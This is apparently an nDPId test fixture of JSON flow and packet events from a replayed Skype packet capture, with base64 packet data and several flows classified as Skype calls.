+00445{"flow_id":194,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1129,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":504457,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/rI8AAEAR6\/\/AqAEiQTffHTLdnEoAK4\/BnIgC0n2YTtpud4yFT0SZ+E2i0ODhSKmWbVLKl+n0TQ0fOTc="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1129,"source":"skype.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.29","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1130,"source":"skype.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.166","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":195,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1130,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":504529,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3NGcAAEAR+6bAqAEinTfrpjLdnE8AI+OWnIoCh50u5xbhS9toIKRfor72\/ZRTG\/Y\/lAII"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1130,"source":"skype.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.166","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00464{"flow_id":141,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1131,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969687,"pkt_ts_usec":571173,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPimVAAEAGGLDAqAEinTc4ksOIAbsXgt5RB+ihfoAYECzEdQAAAQEICj4jOxZNhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00436{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1135,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":11370,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8fZJAAEAGKfvAqAEinTg0LMNwnGCx3l+sHyRlkIAZECn37AAAAQEICj4jPM1MZC+5IVzDseW9I30="} +00425{"flow_id":113,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1136,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":12680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0DP5AADcGVR6dN4KmwKgBIpxVw4FWpWc92KqiIoARAB0DjwAAAQEICk6sfdE+Iu5A"} +00496{"flow_id":183,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1137,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":97926,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlzKZAAEAGjEDAqAEinTeCqsOYAbvnclDsz\/tu9oAYECxsJQAAAQEICj4jPSNOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00438{"flow_id":168,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1138,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":116131,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA87W1AAEAGtazAqAEinTc4oMOTnFuhu65apKDDzIAYECoEuwAAAQEICj4jPTVNfpJmzRAJJHd6CMc="} +00426{"flow_id":133,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1150,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514687,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA09iVAAEAGrQrAqAEinTc4ksOFnF5LaK59T0tw1IARECl5YQAAAQEICj4jPsJNhXFJ"} +00426{"flow_id":141,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514814,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0mudAAEAGCEnAqAEinTc4ksOIAbsXgt5sB+ihfoARECwtHQAAAQEICj4jPsJNhXLb"} +00426{"flow_id":134,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1152,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514814,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0KW1AAEAGL7zAqAEinTeCmcOGnEV7WksU7xM3SYARECiQFwAAAQEICj4jPsJOtNyv"} +00426{"flow_id":142,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1153,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514814,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0zt9AAEAGiknAqAEinTeCmcOJAbvJCUWXl+7ieIARECyMywAAAQEICj4jPsJOtN5C"} +00426{"flow_id":135,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1154,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bgBAAEAGUO3AqAEib91KL8OHnF60mgVin9mDBYARECqEdwAAAQEICj4jPsJNhV8X"} +00426{"flow_id":143,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514891,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0hDhAAEAGOrXAqAEib91KL8OKAbuRyk1ojMr2RYARECyYHAAAAQEICj4jPsJNhWCp"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1156,"source":"skype.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1431969688514,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.159","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":196,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1156,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514943,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAzhcAAEARLU\/AqAEib91NnzLdnEkALGRznIwCwyeMbMrdlUQ5AFonNJwRLd3E7Awg+gZSbquojb\/nyMcP"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1156,"source":"skype.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1431969688514,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.159","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1157,"source":"skype.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1431969688514,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":197,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1157,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":514944,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4ZaYAAEARmVXAqAEib91KEjLdgQkAJLX6nI4C1Tkw7dXubJLsc4XN4Hhz+Cr0PORpW0nsUg=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1157,"source":"skype.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1431969688514,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":144,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1158,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":581627,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8MPRAAEAGjfrAqAEib91KJsOLnE+UB74KG80ZxoAYECnbQAAAAQEICj4jPwRNf6OUySqTc3CS7Ig="} +00467{"flow_id":122,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1159,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":590817,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABSsw9AAEAGpe7AqAEinTeCpsODAbsS3ITHvVXOp4AZECwupAAAAQEICj4jPw1OrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00463{"flow_id":143,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1160,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":614975,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABN\/MpAAEAGwgnAqAEib91KL8OKAbuRyk1PjMr2RYAZECxaKwAAAQEICj4jPyVNhWCpro9SILG2kEIipiuKXJkgpDduj12IclUwiw=="} +00457{"flow_id":176,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1161,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":615111,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLtqwAAEARQILAqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00458{"flow_id":175,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1162,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":615207,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLQnQAAEARtLrAqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00527{"flow_id":122,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1164,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":720059,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"PBXCt3IO0NQSxnP1CABFAAB7pUZAADcGvI6dN4KmwKgBIgG7w4O9Vc72EtyE5oAZAB19RgAAAQEICk6sfo4+Iz8Nkairs0TpphfDTFAr69ewIlB4l\/gywEtHfMa7ineOsI\/qoQfnw+1GW6AnTrPGpVyx4u4xR9o3mBqGEBcUacjaAlXeRvtxmsA="} +00410{"flow_id":122,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1165,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969688,"pkt_ts_usec":720130,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAobwNAAEAG6iTAqAEinTeCpsODAbsS3ITmAAAAAFAEAABxNwAA"} +00440{"flow_id":177,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1166,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":275151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/ctAAEAGW0TAqAEinTeCqsOWnFJsNFXh7fFHoYAYECrzZAAAAQEICj4jQbhOqgg\/dBFKHGWgP00="} +00438{"flow_id":113,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1167,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":428675,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8DP9AADcGVRWdN4KmwKgBIpxVw4FWpWc12KqiIoAYAB1atwAAAQEICk6sf0A+Iu5AKJ1ayO+rNFA="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1169,"source":"skype.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":50074,"dst_port":40003,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":198,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1169,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":470381,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAzR5AAEAGi+rAqAEinTeCrcOanEPZ9P\/0AAAAALAC\/\/+a6AAAAgQFtAEDAwUBAQgKPiNCegAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1170,"source":"skype.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.142","src_port":50075,"dst_port":40003,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":199,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1170,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":470548,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAGpxAAEAG1PvAqAEi1cezjsObnEM6Aj3FAAAAALAC\/\/+TmAAAAgQFtAEDAwUBAQgKPiNCegAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1171,"source":"skype.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":50076,"dst_port":40014,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":200,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1171,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":470785,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA7khAAEAGAdHAqAEinTfrnMOcnE7UANcqAAAAALAC\/\/9gqgAAAgQFtAEDAwUBAQgKPiNCegAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1172,"source":"skype.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":201,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1172,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":470958,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6zvgAAEARklXAqAEiQAQXlzLdnF0AJqz9nJAC1zV5OvO9upQBsUXmJpF2nBcsF0HuRy8JJIUg"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1172,"source":"skype.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1173,"source":"skype.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.172","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":202,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1173,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":470958,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5rSQAAEARguHAqAEinTfrrDLdnGAAJdphnJIChjRH4yCKz81IO5fkX1qSeV8SZKk7yqqsiNY="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1173,"source":"skype.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.172","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1174,"source":"skype.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.152","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":203,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1174,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":470981,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyo54AAEARi\/LAqAEi1cezmDLdnFcAHjAjnJQCZ2daOJDdnSgXIMa0IqUKO\/m6pw=="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1174,"source":"skype.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.152","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":199,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1175,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":525184,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcG+JvVx7OOwKgBIpxDw5sesq08OgI9xqASOJCQMAAAAgQFrAQCCApQDL\/UPiNCegEDAwk="} +00426{"flow_id":199,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1176,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":525261,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0n95AAEAGT8XAqAEi1cezjsObnEM6Aj3GHrKtPYAQECznJAAAAQEICj4jQrBQDL\/U"} +00554{"flow_id":199,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1177,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":525806,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"0NQSxnP1PBXCt3IOCABFAACQdIRAAEAGesPAqAEi1cezjsObnEM6Aj3GHrKtPYAYECzznQAAAQEICj4jQrBQDL\/Ub+iEpNZYNceRyGBgSB3fK8wL2sGV8+6y9bK312hvam5FzQRsq5UiP\/Cn1owftehiayARDqcsrfqj+AmmX4QlEtvQAT4X3J0qE6j51s80FUJLgPFuh4yNWoNY6QY="} +00437{"flow_id":200,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1178,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":543067,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+h2dN+ucwKgBIpxOw5wzprYh1ADXK6ASOJDpcAAAAgQFrAQCCApMWRmAPiNCegEDAwk="} +00425{"flow_id":200,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1179,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":543192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0irdAAEAGZW7AqAEinTfrnMOcnE7UANcrM6a2IoAQECxAVAAAAQEICj4jQsFMWRmA"} 